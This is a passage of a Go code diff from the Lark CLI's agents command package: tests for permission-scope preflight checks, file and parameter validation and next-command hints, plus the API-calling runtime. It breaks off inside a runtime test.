+// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
+// list (fetch failed / app unpublished → nil), the bot check downgrades to a
+// no-op, so the bus/API handshake owns the error.
+func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsBot,
+		TokenScopes: nil,
+		Provider:    scopedInfo(t),
+	})
+	if err != nil {
+		t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
+	}
+}
+
+// TestPreflightBotMissingScopes pins the bot branch: given the app's published
+// TenantScopes, a missing scope is reported with the BOT remediation hint (add
+// in the developer console + re-publish), NOT a user re-login.
+func TestPreflightBotMissingScopes(t *testing.T) {
+	// Tenant token carries 2 of the 4 fakescoped scopes.
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsBot,
+		TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
+		Provider:    scopedInfo(t),
+	})
+	ve := requirePreflightError(t, err)
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
+	}
+	if ve.Identity != string(core.AsBot) {
+		t.Errorf("error identity should be bot, got %q", ve.Identity)
+	}
+	// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
+	if strings.Contains(ve.Hint, "auth login") {
+		t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
+	}
+	if !strings.Contains(ve.Hint, "developer console") {
+		t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
+	}
+}
+
+// TestPreflightBotAllScopesPresent pins the bot happy path.
+func TestPreflightBotAllScopesPresent(t *testing.T) {
+	if err := preflightScopes(preflightInput{
+		Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
+	}); err != nil {
+		t.Errorf("bot with all tenant scopes should pass, got %v", err)
+	}
+}
+
+// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
+// without a scope list) yields nil so the downstream not_configured /
+// need-authorization path owns the error.
+func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
+	err := preflightScopes(preflightInput{
+		Identity:    core.AsUser,
+		TokenScopes: nil,
+		Provider:    scopedInfo(t),
+	})
+	if err != nil {
+		t.Fatalf("no token scope list should return nil, got %v", err)
+	}
+}
+
+// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
+// fakescoped scopes passes the all-or-nothing check.
+func TestPreflightAllScopesPresent(t *testing.T) {
+	if err := preflightScopes(preflightInput{
+		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
+	}); err != nil {
+		t.Errorf("should pass when all scopes present, got %v", err)
+	}
+}
+
+// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
+// is missing even a single scope fails, and the reported missing set is exactly
+// the scopes it lacks (not just this-verb scopes — the per-verb concept is
+// gone).
+func TestPreflightMissingAnyScopeFails(t *testing.T) {
+	// Missing exactly one scope (attachment) → that one scope is reported.
+	ve := requirePreflightError(t, preflightScopes(preflightInput{
+		Identity: core.AsUser,
+		TokenScopes: []string{
+			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
+		},
+		Provider: scopedInfo(t),
+	}))
+	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
+		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
+	}
+
+	// Only the write scope → the other three are all reported.
+	ve = requirePreflightError(t, preflightScopes(preflightInput{
+		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
+	}))
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Command wiring: each verb runs preflight after resolveProvider and before
+// any real API call. The stored-scope read goes through the storedUserScopes
+// seam so no test touches the real keychain; zero httpmock stubs are
+// registered, so any HTTP request would fail the test with a transport error
+// instead of the asserted missing_scope.
+// ---------------------------------------------------------------------------
+
+// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
+func swapStoredScopes(t *testing.T, scopes []string) {
+	t.Helper()
+	old := storedUserScopes
+	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
+	t.Cleanup(func() { storedUserScopes = old })
+}
+
+// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
+// explicitly set to user so ResolveAs honors it verbatim.
+func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
+	t.Helper()
+	parent := &cobra.Command{Use: "lark-cli"}
+	for _, name := range names {
+		child := &cobra.Command{Use: name}
+		parent.AddCommand(child)
+		parent = child
+	}
+	parent.Flags().String("as", "", "identity")
+	if err := parent.Flags().Set("as", "user"); err != nil {
+		t.Fatal(err)
+	}
+	parent.SetContext(context.Background())
+	return parent
+}
+
+// userFactory builds a test Factory + registry for a user-identity run.
+func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
+	t.Helper()
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	return f, reg
+}
+
+// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
+// holds none of the provider's scopes fails with missing_scope
+// (reporting the full set) and no request.
+func TestSendPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
+		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
+	}
+}
+
+// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
+// still fails the all-or-nothing check, reporting the three scopes it lacks.
+func TestSendPreflightPartialTokenBlocked(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
+	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
+		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
+	}
+}
+
+// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
+// scope-free — it succeeds even when the token has none of the provider scopes.
+func TestSendDryRunSkipsPreflight(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
+	})
+	if err != nil {
+		t.Fatalf("--dry-run should not run scope preflight: %v", err)
+	}
+}
+
+// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
+func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+	})
+	ve := requirePreflightError(t, err)
+	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
+		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
+	}
+}
+
+// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
+// (resolveDownload path): it too runs the all-or-nothing preflight before the
+// API call.
+func TestTaskGetArtifactPreflightFires(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
+		ArtifactID: "art_1", Output: "out.bin",
+	})
+	ve := requirePreflightError(t, err)
+	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
+		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
+	}
+}
+
+// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
+func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
+	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+	f, _ := userFactory(t)
+	err := agentTaskListRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "list"),
+		Ref: "fakescoped:agt_x", As: "user",
+	})
+	requirePreflightError(t, err)
+}
+
+// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
+// wiring: all three run the all-or-nothing preflight.
+func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
+	runs := []struct {
+		name string
+		run  func(f *cmdutil.Factory) error
+	}{
+		{"list", func(f *cmdutil.Factory) error {
+			return agentContextListRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agents", "context", "list"),
+				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
+			})
+		}},
+		{"get", func(f *cmdutil.Factory) error {
+			return agentContextGetRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agents", "context", "get"),
+				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
+			})
+		}},
+		{"delete", func(f *cmdutil.Factory) error {
+			return agentContextDeleteRun(&contextOptions{
+				Factory: f, Cmd: userLeafCmd(t, "agents", "context", "delete"),
+				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
+			})
+		}},
+	}
+	for _, tc := range runs {
+		t.Run(tc.name, func(t *testing.T) {
+			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
+			f, _ := userFactory(t)
+			requirePreflightError(t, tc.run(f))
+		})
+	}
+}
+
+// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
+// provider scope set lets the real send proceed (the scripted Send hook fires,
+// proving preflight did not false-positive).
+func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
+	swapStoredScopes(t, fakescopedAllScopes)
+	f, _ := userFactory(t)
+	sent := false
+	setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
+		sent = true
+		return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}, nil
+	}})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
+		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
+	})
+	if err != nil {
+		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
+	}
+	if !sent {
+		t.Fatal("provider.Send should actually be called after preflight passes")
+	}
+}
+
+// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
+// gate (fakemin card declares task_cancel=false) answers before
+// provider/preflight, so a scope-missing user token yields
+// unsupported_capability, not missing_scope — proving the wired
+// preflight does not change the gate-first ordering.
+func TestTaskCancelPreflightWired(t *testing.T) {
+	swapStoredScopes(t, []string{"im:message"})
+	f, _ := userFactory(t)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: userLeafCmd(t, "agents", "task", "cancel"),
+		Ref: "fakemin:agt_x", TaskID: "t1", As: "user",
+	})
+	if err == nil {
+		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
+	}
+}
+
+// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
+// app-version fetch / network.
+func swapBotTenantScopes(t *testing.T, scopes []string) {
+	t.Helper()
+	old := botTenantScopes
+	botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
+	t.Cleanup(func() { botTenantScopes = old })
+}
+
+// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
+// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
+// storedUserScopes) for a bot identity and blocks a missing scope.
+func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
+	swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
+	f, _ := userFactory(t)
+	err := agentTaskGetRun(&taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
+		Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
+	})
+	ve := requirePreflightError(t, err)
+	if ve.Identity != string(core.AsBot) {
+		t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
+	}
+	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
+		t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
+	}
+}
+
+// contains reports whether s appears in the slice.
+func contains(ss []string, s string) bool {
+	for _, x := range ss {
+		if x == s {
+			return true
+		}
+	}
+	return false
+}

cmd/agents/register_test.go

@@ -0,0 +1,11 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+// Provider packages are pure data (no init side effect); the top-level agent
+// package's init aggregates and registers them. In production that package is
+// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
+// the real example scheme (example:echo / example:reporter), so blank-import the
+// top-level agent package to run its registration for the test binary.
+import _ "github.com/larksuite/cli/agents"

cmd/agents/review_fixes_test.go

@@ -0,0 +1,203 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Tests pinning the excellence-review fixes: the --file local gate, scalar
+// canonicalization across channels, nearest-first unknown-param suggestions,
+// and the terminal self-loop removal in meta.next.
+
+package agents
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// TestValidateSendFiles pins the --file local gate: relative-within-CWD +
+// existing regular file, all violations collected in one pass.
+func TestValidateSendFiles(t *testing.T) {
+	mkSendFile(t, "ok.txt")
+
+	if err := validateSendFiles([]string{"ok.txt"}); err != nil {
+		t.Fatalf("a relative existing file should pass, got %v", err)
+	}
+	if err := validateSendFiles(nil); err != nil {
+		t.Fatalf("no files should pass, got %v", err)
+	}
+
+	abs := filepath.Join(t.TempDir(), "abs.txt")
+	if err := os.WriteFile(abs, []byte("x"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Mkdir("adir", 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	err := validateSendFiles([]string{abs, "missing.txt", "adir", "ok.txt"})
+	if err == nil {
+		t.Fatal("abs path + missing file + directory should all be rejected")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	msg := err.Error()
+	for _, want := range []string{abs, "missing.txt", "adir"} {
+		if !strings.Contains(msg, want) {
+			t.Errorf("collect-all message should mention %q, got %q", want, msg)
+		}
+	}
+	if strings.Contains(msg, "ok.txt") {
+		t.Errorf("the valid file must not appear as a violation: %q", msg)
+	}
+}
+
+// canonSpec declares one param per scalar type for canonicalization tests.
+func canonSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{
+			Params: []iagents.CardParam{
+				{Name: "flag", Type: "boolean"},
+				{Name: "n", Type: "integer"},
+				{Name: "render", Type: "object", Fields: []iagents.CardParam{
+					{Name: "watermark", Type: "boolean"},
+				}},
+			},
+			Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
+		},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+	}
+}
+
+// TestParamCanonicalization pins that accepted variant literals normalize to
+// one canonical wire form regardless of channel: the provider (and dry-run,
+// and the meta.next carry) never see TRUE/1/+5/04.
+func TestParamCanonicalization(t *testing.T) {
+	spec := canonSpec()
+	cases := []struct{ kv, key, want string }{
+		{"flag=TRUE", "flag", "true"},
+		{"flag=1", "flag", "true"},
+		{"flag=0", "flag", "false"},
+		{"n=+5", "n", "5"},
+		{"n=04", "n", "4"},
+		{"render.watermark=T", "render.watermark", "true"},
+		{`render={"watermark":"TRUE"}`, "render.watermark", "true"},
+		{`render={"watermark":true}`, "render.watermark", "true"},
+	}
+	for _, tc := range cases {
+		vp, err := validateParams([]string{tc.kv}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
+		if err != nil {
+			t.Errorf("%s should validate, got %v", tc.kv, err)
+			continue
+		}
+		if got := vp.Resolved[tc.key]; got != tc.want {
+			t.Errorf("%s: resolved[%s] = %q, want canonical %q", tc.kv, tc.key, got, tc.want)
+		}
+		if got := vp.Given[tc.key]; got != tc.want {
+			t.Errorf("%s: given[%s] = %q, want canonical %q (the carry reads Given)", tc.kv, tc.key, got, tc.want)
+		}
+	}
+}
+
+// TestUnknownParamSuggestionsNearest pins the typo teaching: a near-miss key
+// suggests the nearest declared names first (edit distance ≤ 2), not the full
+// declaration-order table; a cross-verb hit keeps suggestions empty (a verb
+// name is not a substitutable param name — the reason sentence teaches it).
+func TestUnknownParamSuggestionsNearest(t *testing.T) {
+	spec := paramSpec()
+
+	_, err := validateParams([]string{"workspce_id=w"}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
+	verr := asValidationErr(t, err)
+	if len(verr.Params) != 2 { // unknown + missing-required workspace_id
+		t.Fatalf("want 2 violations, got %+v", verr.Params)
+	}
+	var sugg []string
+	for _, p := range verr.Params {
+		if p.Name == "workspce_id" {
+			sugg = p.Suggestions
+		}
+	}
+	if len(sugg) == 0 || sugg[0] != "workspace_id" {
+		t.Errorf("typo suggestions should lead with the nearest name, got %v", sugg)
+	}
+	if len(sugg) >= len(spec.Send.Params) {
+		t.Errorf("near-miss suggestions should be filtered, not the full table: %v", sugg)
+	}
+
+	// Cross-verb: task_list declares workspace_id? no — send-only param priority
+	// used against task_list reverse-looks-up to send.
+	_, err = validateParams([]string{"priority=high"}, spec.ListTasks.Params, iagents.VerbTaskList, spec, "acme:x")
+	verr = asValidationErr(t, err)
+	for _, p := range verr.Params {
+		if p.Name == "priority" {
+			if len(p.Suggestions) != 0 {
+				t.Errorf("cross-verb suggestions must not carry verb names, got %v", p.Suggestions)
+			}
+			if !strings.Contains(p.Reason, "声明在") {
+				t.Errorf("cross-verb reason should teach where it is declared, got %q", p.Reason)
+			}
+		}
+	}
+}
+
+func asValidationErr(t *testing.T, err error) *errs.ValidationError {
+	t.Helper()
+	if err == nil {
+		t.Fatal("expected a validation error")
+	}
+	verr, ok := err.(*errs.ValidationError)
+	if !ok {
+		t.Fatalf("want *errs.ValidationError, got %T: %v", err, err)
+	}
+	return verr
+}
+
+// TestNextForTaskNoSelfLoop pins that a terminal task viewed via task get does
+// not suggest the very command just executed; artifact downloads remain.
+func TestNextForTaskNoSelfLoop(t *testing.T) {
+	spec := &iagents.AgentSpec{
+		Send:    iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+		DownloadArtifact: iagents.ArtifactDownloadOp{
+			Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
+		},
+	}
+	task := &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
+		Artifacts: []iagents.Artifact{{ID: "art_1", Kind: "text"}},
+	}
+
+	// Viewed from send: the detail suggestion IS the increment — keep it.
+	fromSend := nextForTask("example:x", task, spec, nil, iagents.VerbSend)
+	if len(fromSend) < 1 || !strings.Contains(fromSend[0].Command, "task get example:x task_1") {
+		t.Fatalf("send caller should keep the detail suggestion, got %+v", fromSend)
+	}
+
+	// Viewed from task get: the detail suggestion is a self-loop — drop it.
+	fromGet := nextForTask("example:x", task, spec, nil, iagents.VerbTaskGet)
+	for _, n := range fromGet {
+		if !n.Template && strings.Contains(n.Command, "task get example:x task_1") && !strings.Contains(n.Command, "--artifact") {
+			t.Errorf("task get caller must not re-suggest itself, got %+v", fromGet)
+		}
+	}
+	found := false
+	for _, n := range fromGet {
+		if strings.Contains(n.Command, "--artifact art_1") {
+			found = true
+		}
+	}
+	if !found {
+		t.Errorf("artifact download should survive the self-loop removal, got %+v", fromGet)
+	}
+
+	// No artifacts + task get caller → genuinely nothing to add.
+	bare := &iagents.AgentTask{TaskID: "task_2", State: iagents.StateCompleted, IsTerminal: true}
+	if next := nextForTask("example:x", bare, spec, nil, iagents.VerbTaskGet); len(next) != 0 {
+		t.Errorf("no increment should yield no next, got %+v", next)
+	}
+}

cmd/agents/runtime.go

@@ -0,0 +1,139 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+
+	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// cmdRuntime is the concrete iagents.Runtime: it routes provider hook calls
+// through the shared client.APIClient under a pinned identity (mirrors event's
+// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
+// the identity resolution, or the response-envelope unwrap — that is exactly the
+// plumbing the old Deps struct leaked.
+type cmdRuntime struct {
+	client  *client.APIClient
+	as      core.Identity
+	agentID string
+	params  map[string]string // validated business params (defaults backfilled)
+}
+
+func (r *cmdRuntime) AgentID() string { return r.agentID }
+func (r *cmdRuntime) IsBot() bool     { return r.as == core.AsBot }
+
+// Params returns a copy of the validated business parameters, so a hook cannot
+// corrupt framework state (see the Runtime.Params contract in internal/agent).
+func (r *cmdRuntime) Params() map[string]string {
+	out := make(map[string]string, len(r.params))
+	for k, v := range r.params {
+		out[k] = v
+	}
+	return out
+}
+
+func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
+	var params map[string]interface{}
+	if len(query) > 0 {
+		params = make(map[string]interface{}, len(query))
+		for k, v := range query {
+			params[k] = v
+		}
+	}
+	return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
+}
+
+func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagents.FilePart) (json.RawMessage, error) {
+	fd := larkcore.NewFormdata()
+	for k, v := range fields {
+		fd.AddField(k, v)
+	}
+	for _, fp := range files {
+		// SafeInputPath is the framework-owned security check (no path traversal /
+		// outside CWD); a provider must never re-implement it.
+		resolved, err := validate.SafeInputPath(fp.Path)
+		if err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
+				WithParam("--file").WithCause(err)
+		}
+		f, err := vfs.Open(resolved)
+		if err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
+				WithParam("--file").WithCause(err)
+		}
+		// Closed when CallMultipart returns, i.e. after do()'s request has read the
+		// body — deferring in the loop keeps every file open for the request.
+		defer f.Close()
+		fd.AddFile(fp.Field, f)
+	}
+	return r.do(ctx, client.RawApiRequest{
+		Method: method, URL: path, Data: fd, As: r.as,
+		ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
+	})
+}
+
+// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
+// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
+// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
+// out; any non-typed transport error is classified here so hooks only ever see
+// typed errs.* values.
+func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
+	resp, err := r.client.DoAPI(ctx, req)
+	if err != nil {
+		if _, ok := errs.ProblemOf(err); ok {
+			return nil, err
+		}
+		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
+	}
+	result, err := client.ParseJSONResponse(resp)
+	if err != nil {
+		if _, ok := errs.ProblemOf(err); ok {
+			return nil, err
+		}
+		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
+	}
+	if top, ok := result.(map[string]interface{}); ok {
+		topLogID, _ := top["log_id"].(string)
+		var nestedLogID string
+		if errBlock, ok := top["error"].(map[string]interface{}); ok {
+			nestedLogID, _ = errBlock["log_id"].(string)
+		}
+		for _, candidate := range []string{
+			topLogID,
+			nestedLogID,
+			resp.Header.Get(larkcore.HttpHeaderKeyLogId),
+			resp.Header.Get(larkcore.HttpHeaderKeyRequestId),
+		} {
+			if logID := strings.TrimSpace(candidate); logID != "" {
+				// CheckResponse classifies errors from the top-level envelope, so
+				// always promote the selected ID there in its normalized form.
+				top["log_id"] = logID
+				break
+			}
+		}
+	}
+	if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
+		return nil, apiErr
+	}
+	top, _ := result.(map[string]interface{})
+	dataVal, ok := top["data"]
+	if !ok || dataVal == nil {
+		return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
+	}
+	raw, err := json.Marshal(dataVal)
+	if err != nil {
+		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
+	}
+	return raw, nil
+}

cmd/agents/runtime_test.go

@@ -0,0 +1,278 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"net/http"
+	"strings"
+	"testing"
+
+	lark "github.com/larksuite/oapi-sdk-go/v3"
+	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/credential"
+)
+
+// staticTokenResolver always returns a fixed token without any HTTP call.
+type staticTokenResolver struct{}
+
+func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
+	return &credential.TokenResult{Token: "test-token"}, nil
+}
+
+// stubRoundTripper intercepts every outgoing request with a canned response.
+type stubRoundTripper struct {
+	respond func(*http.Request) (*http.Response, error)
+}
+
+func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
+
+// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
+// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
+// pinned to as; agentID is fixed.
+func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
+	sdk := lark.NewClient("test-app", "test-secret",
+		lark.WithEnableTokenCache(false),
+		lark.WithLogLevel(larkcore.LogLevelError),
+		lark.WithHttpClient(&http.Client{Transport: rt}),
+	)
+	return &cmdRuntime{
+		client: &client.APIClient{
+			SDK:        sdk,
+			ErrOut:     io.Discard,
+			Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
+			Config:     &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
+		},
+		as:      as,
+		agentID: agentID,
+	}
+}
+
+func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
+	return func(r *http.Request) (*http.Response, error) {
+		return &http.Response{
+			StatusCode: status,
+			Header:     http.Header{"Content-Type": []string{"application/json"}},
+			Body:       io.NopCloser(strings.NewReader(body)),
+			Request:    r,
+		}, nil
+	}
+}
+
+// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
+// surfaced only via IsBot() (never the raw client), and AgentID echoes the
+// addressed agent.
+func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
+	bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
+	if !bot.IsBot() {
+		t.Error("bot runtime should report IsBot()=true")
+	}
+	if bot.AgentID() != "agt_1" {
+		t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
+	}
+	usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
+	if usr.IsBot() {
+		t.Error("user runtime should report IsBot()=false")
+	}
+}
+
+// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
+// returns the raw "data" object (not the whole envelope), and the typed Call[T]
+// helper decodes that raw data into a struct.
+func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
+	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
